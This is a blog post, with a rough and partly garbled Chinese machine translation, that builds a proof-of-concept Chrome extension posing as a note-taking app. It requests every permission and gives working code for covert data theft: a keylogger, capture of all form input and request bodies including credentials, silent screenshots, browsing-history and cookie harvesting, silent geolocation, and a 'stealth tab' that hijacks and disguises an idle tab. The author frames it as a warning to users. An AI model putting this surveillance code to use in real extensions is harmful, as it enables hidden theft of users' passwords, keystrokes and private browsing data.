Skip to main content

Update: this piece was featured on the NBTV YouTube Channel 更新:这篇文章在NBTV YouTube频道上播出

Manifest v3 may have taken some of the juice out of browser extensions, but I think there is still plenty left in the tank. To prove it, let’s build a Chrome extension that steals as much data as possible. I’m talking kitchen sink, whole enchilada, Grinch-plundering-Whoville levels of data theft. Manifest v3可能已经从浏览器扩展中拿走了一些果汁,但我认为仍然有很多留在坦克里。为了证明这一点,让我们构建一个Chrome扩展程序,尽可能多地窃取数据。我说的是厨房水槽,整个玉米卷饼,格林奇掠夺-Whoville级的数据盗窃。

This will accomplish two things: 这将完成两件事:

  • Explore the edges of what is possible with Chrome extensions 探索Chrome扩展程序的优势
  • Demonstrate what you are exposed to if you aren’t careful with what you install 如果你不小心安装了什么,你会暴露在什么环境中

Disclaimer: actually implementing this would be evil. You shouldn’t abuse extension permissions, steal user data, or build malicious browser extensions. Any implementation, derivative extension, or utilization of these techniques, without the express written consent of Major League Baseball, is not advised. 免责声明:实际上实施这将是邪恶的。您不应该滥用扩展权限、窃取用户数据或构建恶意浏览器扩展。未经美国职业棒球大联盟的明确书面同意,不建议任何实施,衍生扩展或使用这些技术。

Ground Rules 基本规则

  • The user shouldn’t be aware that anything is happening behind the scenes. 用户不应该意识到在幕后发生的任何事情。
  • There must be no visual indication that anything is awry. 不能有任何视觉上的迹象表明有什么不对劲。
    • No extra console messages, warnings, or errors. 没有额外的控制台消息、警告或错误。
    • No additional browser warning or permission dialogs. 没有额外的浏览器警告或权限对话框。
    • No extra page-level network traffic. 没有额外的页面级网络流量。
  • Once the user agrees to the ahem ample permission warnings, that’s the last time they should have to think about the extension’s permissions. 一旦用户同意 ahem 充足的权限警告,这是他们最后一次应该考虑扩展的权限。

Chrome Extension Crash Course Chrome扩展速成课程

If you’re not familiar with the internals of browser extensions, there’s three components that we care about for our evil extension: 如果你不熟悉浏览器扩展的内部结构,那么对于这个邪恶的扩展,我们需要关注三个组件:

Background Service Worker 后台服务工作人员

  • Event driven. Can be used as a “persistent” container for running JavaScript 事件驱动。可用作运行JavaScript的“持久化”容器
  • Can access all* of the WebExtensions API 可以访问所有 * WebExtensions API
  • Cannot access DOM APIs 无法访问DOM API
  • Cannot directly access pages 无法直接访问页面

Popup Page 弹出页面

  • Only opens after user interaction 仅在用户交互后打开
  • Can access all* of the WebExtensions API 可以访问所有 * WebExtensions API
  • Can access DOM APIs 可以访问DOM API
  • Cannot directly access pages 无法直接访问页面

Content Script 内容脚本

  • Has direct and full access to all pages and the DOM 可以直接访问所有页面和DOM
  • Can run JavaScript in page, but in sandboxed runtime 可以在页面中运行JavaScript,但在沙箱运行时中
  • Can only use a subset of the WebExtensions API 只能使用WebExtensions API的子集
  • Subject to same restrictions as page (CORS, etc) 受与第页相同的限制(CORS等)

*Minor restrictions apply, batteries not included * 有轻微限制,不包括电池

Obtaining Global Permissions 获取全局搜索结果

Just for fun, our malicious extension will request all possible permissions. https://developer.chrome.com/docs/extensions/mv3/declare_permissions/ has a list of Chrome extension permissions, and we’ll take the lot. 只是为了好玩,我们的恶意扩展将请求所有可能的权限。https://developer.chrome.com/docs/extensions/mv3/declare_permissions/有一个Chrome扩展权限的列表,我们将采取很多。

After pruning out all permissions that Chrome doesn’t support, we get the following: 在删除了Chrome不支持的所有权限后,我们得到以下内容:

{
...
"host_permissions": ["<all_urls>"],
"permissions": [
"activeTab",
"alarms",
"background",
"bookmarks",
"browsingData",
"clipboardRead",
"clipboardWrite",
"contentSettings",
"contextMenus",
"cookies",
"debugger",
"declarativeContent",
"declarativeNetRequest",
"declarativeNetRequestWithHostAccess",
"declarativeNetRequestFeedback",
"desktopCapture",
"downloads",
"fontSettings",
"gcm",
"geolocation",
"history",
"identity",
"idle",
"management",
"nativeMessaging",
"notifications",
"pageCapture",
"power",
"printerProvider",
"privacy",
"proxy",
"scripting",
"search",
"sessions",
"storage",
"system.cpu",
"system.display",
"system.memory",
"system.storage",
"tabCapture",
"tabGroups",
"tabs",
"tabs",
"topSites",
"tts",
"ttsEngine",
"unlimitedStorage",
"webNavigation",
"webRequest"
],
}

manifest.json

Most of these permissions won’t be needed, but who cares? Let’s see what the warning message looks like: 这些权限中的大多数都是不需要的,但谁在乎呢?让我们看看警告信息是什么样子的:

img

Chrome scrolls the permission warning message container, so more than half of the warning messages don’t even show up. I’d bet most users wouldn’t think twice about installing an extension that appears to ask for just 5 permissions. Chrome滚动权限警告消息容器,因此超过一半的警告消息甚至不会显示。我敢打赌,大多数用户不会三思而后行安装一个扩展,似乎只要求5个权限。

The full permission warning list is as follows: 完整的权限警告列表如下:

  • Above the fold: 折叠上方:
    • Access the page debugger backend 访问页面调试器后端
    • Read and change all your data on websites 阅读和更改您在网站上的所有数据
    • Detect your physical location 检测您的物理位置
    • Read and change your browsing history on all your signed-in devices 在所有已登录的设备上读取和更改浏览历史记录
    • Display notifications 显示通知
  • Below the fold: 下面的褶皱:
    • Read and change your bookmarks 阅读并更改书签
    • Read and modify data you copy and paste 读取和修改复制和粘贴的数据
    • Capture content of your screen 捕获屏幕内容
    • Manage your downloads 管理下载
    • Identify and eject storage devices 识别并弹出存储设备
    • Change your settings that websites’ access to features such as cookies, JavaScript, plugins, geolocation, microphone, camera, etc. 更改您的设置,网站的访问功能,如cookie,JavaScript,插件,地理位置,麦克风,摄像头等。
    • Manage your apps, extensions, and themes 管理您的应用、扩展和主题
    • Communicate with cooperating native applications 与协作的本机应用程序通信
    • Change your privacy-related settings 更改您的隐私相关设置
    • View and manage your tab groups 查看和管理选项卡组
    • Read all text using spoken synthesized speech 阅读所有文本使用口语合成语音

Let’s add in a content script that runs in all pages and frames, extend our extension’s coverage to incognito windows, and make all our resources accessible just in case we need them: 让我们添加一个在所有页面和框架中运行的内容脚本,将扩展的覆盖范围扩展到隐身窗口,并使我们所有的资源都可以访问,以防万一我们需要它们:

{
...
"web_accessible_resources": [
{
"resources": ["*"],
"matches": ["<all_urls>"]
}
],
"content_scripts": [
{
"matches": ["<all_urls>"],
"all_frames": true,
"css": [],
"js": ["content-script.js"],
"run_at": "document_end"
}
],
"incognito": "spanning",
}

manifest.json

The Extension Facade 扩展Facade

Our heinous extension will masquerade as a note-taking app: 我们令人发指的扩展将伪装成一个笔记应用程序:

img

This gives us an extension page that will be opened frequently, allowing us to perform nefarious data collection silently. We’ll also use a background service worker. 这给了我们一个经常打开的扩展页面,允许我们悄悄地执行恶意数据收集。我们还将使用后台服务工作人员。

Analytics and Data Exfiltration 分析和数据泄露

Life is short, the internet is fast, and storage is cheap. Any data our extension decides to collect can be sent off to a server we control through the background service worker, and the user will be none the wiser. These network requests will only show up if they decide to inspect the network activity of the extension itself, which is pretty hard to get to. 生命是短暂的,互联网是快速的,存储是便宜的。我们的扩展决定收集的任何数据都可以通过后台服务工作程序发送到我们控制的服务器上,用户不会知道。只有当他们决定检查扩展本身的网络活动时,这些网络请求才会出现,这是很难达到的。

Want to add invasive user tracking to web pages? No problem! Network traffic from the background page is not subject to ad blockers or other user privacy extensions, so track every click and keystroke to you heart’s content. (External network traffic managers and things like PiHole will still work) 想在网页中添加入侵用户跟踪功能吗?没问题的啦!来自背景页面的网络流量不受广告拦截器或其他用户隐私扩展的限制,因此可以跟踪每次点击并转发到您想要的内容。(外部网络流量管理器和PiHole之类的东西仍然可以工作)

Very Low Hanging Fruit 低挂水果

Right off the bat, the WebExtensions API lets us collect quite a bit with almost zero effort. 马上,WebExtensions API让我们几乎不费吹灰之力就能收集到相当多的信息。

Cookies

chrome.cookies.getAll({}) retrieves all the browser’s cookies as an array. chrome.cookies.getAll({}) 检索所有浏览器的cookie作为一个数组。

History 历史

chrome.history.search({ text: "" }) retrieves the user’s entire browsing history as an array. chrome.history.search({ text: "" }) 检索用户的整个浏览历史作为一个数组。

Screenshots 截图

chrome.tabs.captureVisibleTab() silently captures a screenshot of whatever the user is currently looking at. We can call this as often as we like with messages sent from the content script - or even more frequently on URLs we deem to be valuable. The API returns the image as nice data URL strings, so it’s trivial to whisk them off to our data collection endpoint. chrome.tabs.captureVisibleTab() 默默地捕获用户当前正在查看的任何内容的屏幕截图。对于从内容脚本发送的消息,我们可以随时调用它-或者在我们认为有价值的URL上更频繁地调用它。API将图像作为漂亮的数据URL字符串返回,因此将它们快速发送到我们的数据收集端点是很简单的。

Are your browser extensions capturing your screen right now? You’ll never know! 你的浏览器扩展现在正在捕获你的屏幕吗?你永远不会知道!

User Navigation 用户导航

We can use the webNavigation API to easily track the user’s browsing activity in real time: 我们可以使用 webNavigation API轻松地跟踪用户的真实的浏览活动:

chrome.webNavigation.onCompleted.addListener((details) => {
// {
// "documentId": "F5009EFE5D3C074730E67F5C1D934C0A",
// "documentLifecycle": "active",
// "frameId": 0,
// "frameType": "outermost_frame",
// "parentFrameId": -1,
// "processId": 139,
// "tabId": 174034187,
// "timeStamp": 1676958729790.8088,
// "url": "https://www.linkedin.com/feed/"
// }
});

background.js

Page Traffic 页面流量

The webRequest API lets us watch all network traffic from every tab, tease out network traffic with a requestBody, and extract capturing credentials, addresses, etc: webRequest API允许我们从每个选项卡中监视所有网络流量,使用 requestBody 梳理网络流量,并提取捕获凭据、地址等:

chrome.webRequest.onBeforeRequest.addListener(
(details) => {
if (details.requestBody) {
// Capture requestBody data
}
},
{
urls: ["<all_urls>"],
},
["requestBody"]
);

background.js

Keylogger 键盘记录

With a content script running on every page, reading keystrokes is dead easy. Creating a keystroke buffer that is periodically flushed will give us nice consecutive keystrokes that are easy to read. 由于每个页面上都运行一个内容脚本,阅读Markes非常容易。创建一个定期刷新的缓存缓冲区将为我们提供给予易于读取的连续缓存。

let buffer = "";

const debouncedCaptureKeylogBuffer = _.debounce(async () => {
if (buffer.length > 0) {
// Flush the buffer

buffer = "";
}
}, 1000);

document.addEventListener("keyup", (e: KeyboardEvent) => {
buffer += e.key;

debouncedCaptureKeylogBuffer();
});

content-script.js

Input Capturing 输入捕获

From the content script, we can just listen for input events on any editable elements and capture their value. 从内容脚本中,我们可以只监听任何可编辑元素上的 input 个事件并捕获它们的值。

[...document.querySelectorAll("input,textarea,[contenteditable]")].map((input) =>
input.addEventListener("input", _.debounce((e) => {
// Read input value
}, 1000))
);

content-script.js

If we’re expecting the page DOM to change often (for example, with SPAs), we certainly don’t want to miss out on any valuable data. Just set a MutationObserver to watch the entire page, and reapply listeners as needed. 如果我们期望页面DOM经常更改(例如,使用SPA),我们当然不想错过任何有价值的数据。只需设置 MutationObserver 来监视整个页面,并根据需要重新应用侦听器。

const inputs: WeakSet<Element> = new WeakSet();

const debouncedHandler = _.debounce(() => {
[...document.querySelectorAll("input,textarea,[contenteditable")]
.filter((input: Element) => !inputs.has(input))
.map((input) => {
input.addEventListener(
"input",
_.debounce((e) => {
// Read input value
}, 1000)
);

inputs.add(input);
});
}, 1000);

const observer = new MutationObserver(() => debouncedHandler());
observer.observe(document.body, { subtree: true, childList: true });

content-script.js

Clipboard Capturing 视频捕捉

This one is a bit trickier. navigator.clipboard.read() or any other Clipboard API methods will prompt the user with a permissions dialog, so these are off-limits. 这一个有点棘手。 navigator.clipboard.read() 或任何其他API API方法将提示用户权限对话框,因此这些是禁止的。

img

Using document.execCommand("paste") to dump the clipboard into a hidden input is unreliable, so we’re stuck grabbing the selected text out of the page. 使用 document.execCommand("paste") 将剪贴板转储到隐藏输入中是不可靠的,因此我们无法从页面中抓取选定的文本。

document.addEventListener("copy", () => {
const selected = window.getSelection()?.toString();

// Capture selected text on copy events
});

content-script.js

(Note: I’m not totally satisfied with this, but good enough for now.) (Note:我对这个并不完全满意,但目前已经足够好了。)

Capturing Geolocation 捕获地理位置

Geolocation capturing is the trickiest one due to Chrome’s restrictions on when and how it an be captured. Adding the geolocation permission only allows us to capture the location inside an extension page, not from content scripts. If the popup is opened frequently enough, this might be sufficient. 地理位置捕获是最棘手的一个,因为Chrome对何时以及如何捕获它有限制。添加 geolocation 权限仅允许我们捕获扩展页面内的位置,而不能从内容脚本中捕获。如果弹出窗口打开的频率足够高,这可能就足够了。

navigator.geolocation.getCurrentPosition(
(position) => {
// Capture position
},
(e) => {},
{
enableHighAccuracy: true,
timeout: 5000,
maximumAge: 0,
}
);

popup.js

If we need more geolocation data, we’ll need to do it from a content script. We need to prevent the browser from generating a permission dialog, so first we check if the page already has the geolocation permission. If it does, we can silently request the location. 如果我们需要更多的地理位置数据,我们需要从内容脚本中完成。我们需要防止浏览器生成权限对话框,因此首先我们检查页面是否已经具有地理位置权限。如果是这样,我们可以悄悄地请求位置。

navigator.permissions
.query({ name: "geolocation" })
.then(({ state }: { state: string }) => {
if (state === "granted") {
captureGeolocation();
}
});

content-script.js

Stealth Tab Stealth选项卡

If you’re anything like me, you have a ton of tabs open. Most tabs sit there idly for long stretches of time, and Chrome eagerly unmounts idle tabs to free up system resources. 如果你像我一样,你有一大堆的标签打开。大多数标签页会闲置很长一段时间,而Chrome会急切地卸载闲置的标签页以释放系统资源。

Suppose we needed to open an extension page in a tab without the user noticing. Maybe we need to perform some additional page-level processing with the WebExtensions API. Opening and closing a new tab would cause a lot of visual movement in the tab bar, this is too suspicious. Instead, let’s reuse an existing tab and make it appear to be the old tab. 假设我们需要在标签页中打开一个扩展页面,而用户没有注意到。也许我们需要使用WebExtensions API执行一些额外的页面级处理。打开和关闭一个新的标签页会导致标签栏中的大量视觉移动,这太可疑了。相反,让我们重用现有的选项卡,并使其看起来像旧的选项卡。

This could work as follows: 这可以如下进行:

  1. Find a candidate tab that the user isn’t paying attention to. 找到一个用户没有注意到的候选选项卡。
  2. Record its URL, favicon URL, and title. 记录其URL、favicon URL和标题。
  3. Replace that tab with our extension page, and immediately replace the favicon and title so it resembles the original tab. 用我们的扩展页面替换该标签,并立即替换favicon和标题,使其与原始标签相似。
  4. Do bad things. 做坏事。
  5. Once the page finishes, or once the user opens the tab, navigate back to the original URL. 页面完成后,或者用户打开选项卡后,导航回原始URL。

Let’s build a proof of concept. Here’s an example background script to open the stealth tab: 让我们建立一个概念验证。下面是一个打开隐身选项卡的后台脚本示例:

export async function openStealthTab() {
const tabs = await chrome.tabs.query({
// Don't use the tab the user is looking at
active: false,
// Don't use pinned tabs, they're probably used frequently
pinned: false,
// Don't use a tab generating audio
audible: false,
// Don't use a tab until it is finished loading
status: "complete",
});

const [eligibleTab] = tabs.filter((tab) => {
// Must have url and id
if (!tab.id || !tab.url) {
return false;
}

// Don't use extension pages
if (new URL(tab.url).protocol === "chrome-extension:") {
return false;
}

return true;
});

if (eligibleTab) {
// These values will be used to spoof the current page
// and navigate back
const searchParams = new URLSearchParams({
returnUrl: eligibleTab.url as string,
faviconUrl: eligibleTab.favIconUrl || "",
title: eligibleTab.title || "",
});

const url = `${chrome.runtime.getURL(
"stealth-tab.html"
)}?${searchParams.toString()}`;

// Open the stealth tab
await chrome.tabs.update(eligibleTab.id, {
url,
active: false,
});
}
}

background.js

And here’s our stealth tab script: 这是我们的隐形标签脚本:

const searchParams = new URL(window.location.href).searchParams;

// Spoof the previous page tab appearance
document.title = searchParams.get('title);
document.querySelector(`link[rel="icon"]`)
.setAttribute("href", searchParams.get('faviconUrl'));

function useReturnUrl() {
// User focused this tab, flee!
window.location.href = searchParams.get('returnUrl');
}

// Check to see if this page is visible on load
if (document.visibilityState === "visible") {
useReturnUrl();
}

document.addEventListener("visibilitychange", () => useReturnUrl());

// Now do bad things

// Done doing bad things, return!
useReturnUrl();

stealth-tab.js

img

Nothing suspicious here! 这里没有可疑之处!

Publishing to the Chrome Web Store 发布到Chrome网上应用商店

I’m kidding, of course. This extension would be laughed out of the review queue. 当然,我是开玩笑的。这一延期将被嘲笑出审查队列。

This extension is obviously a caricature of a malicious extension, but is it so crazy to think that a subset of this behavior could be used? When installing a Chrome extension that seems trustworthy (whatever that means), most users will ignore the permissions warning messages no matter how scary they are. Once you accept the permissions, you are at the extension’s mercy. 这个扩展显然是恶意扩展的讽刺,但是认为可以使用这种行为的子集是如此疯狂吗?当安装一个看起来值得信赖的Chrome扩展程序时(不管这意味着什么),大多数用户都会忽略权限警告消息,不管它们有多可怕。一旦你接受了权限,你就得听扩展的摆布了。

You might be thinking “Matt, surely this doesn’t apply to me! I’m a savvy tech guru who is careful, fastidious, and obsequious. Nobody could ever pull one over on me.” 你可能会想,“马特,这肯定不适用于我!我是一个精明的技术大师,谨慎,挑剔,奉承。没人能骗过我。”

In that case, my obsequious friend, answer these questions: 既然如此,我谄媚的朋友,回答这些问题:

  • Without looking, can you name more than half of the extensions you have installed right now? 不用看,你能说出你现在安装的一半以上的扩展吗?
  • Who maintains them? Is it the same entity that maintained it when you first installed? Are you sure? 谁维护它们?它是你第一次安装时维护它的同一个实体吗?你确定吗?
  • Did you really scrutinize their permissions? 你真的审查过他们的许可吗?

Try it out if you dare 有种就试试看

You can test out the Spy Extension here: https://github.com/msfrisbie/spy-extension 您可以在这里测试间谍扩展:https://github.com/msfrisbie/spy-extension

I’ve added an options page so you can see all the plundered data the extension is able to suck out of your browser. I’m not going to post a screenshot; suffice to say, the contents of the page are a tiny bit compromising. 我已经添加了一个选项页面,这样你就可以看到扩展能够从浏览器中吸取的所有掠夺数据。我不打算贴一个截图;足以说,页面的内容是一点点妥协。

Nothing collected leaves your browser. Or does it? (No, it doesn’t) 没有收集到的内容会离开您的浏览器。是吗?(No,它不)